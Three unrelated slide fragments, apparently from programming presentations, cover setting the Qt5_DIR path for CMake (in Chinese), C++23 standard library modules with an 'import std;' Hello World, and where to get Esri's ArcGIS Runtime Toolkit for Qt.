• cmake -B build -DQt5_DIR=”/opt/Qt5.12.1/lib/cmake/Qt5” • (2) 全局启用。修改你的 ~/.bashrc 文件添加环境变量： • export Qt5_DIR=”/opt/Qt5.12.1/lib/cmake/Qt5” ，然后重启终端。这样以后你每次构建任何 项目， find_package 都能自动找到这个路径的 Qt5 包了。

named modules are introduced:  import std;  Imports everything from std namespace from  C++ headers (e.g. std::sort())  C wrapper headers (e.g. std::fopen())  import std.compat;  Imports everything versions of the C wrapper headers (e.g. ::fopen()) Standard Library Modules42  Modern “Hello World”: import std; int main() { std::println("Hello World!"); } Standard Library Modules43 Agenda  C++23

• Where: - https://github.com/Esri/arcgis-runtime-toolkit-qt • How: - Clone the repository and import the path in .pro file in Qt Creator - Register your components in main.cppArcGIS Runtime Toolkit
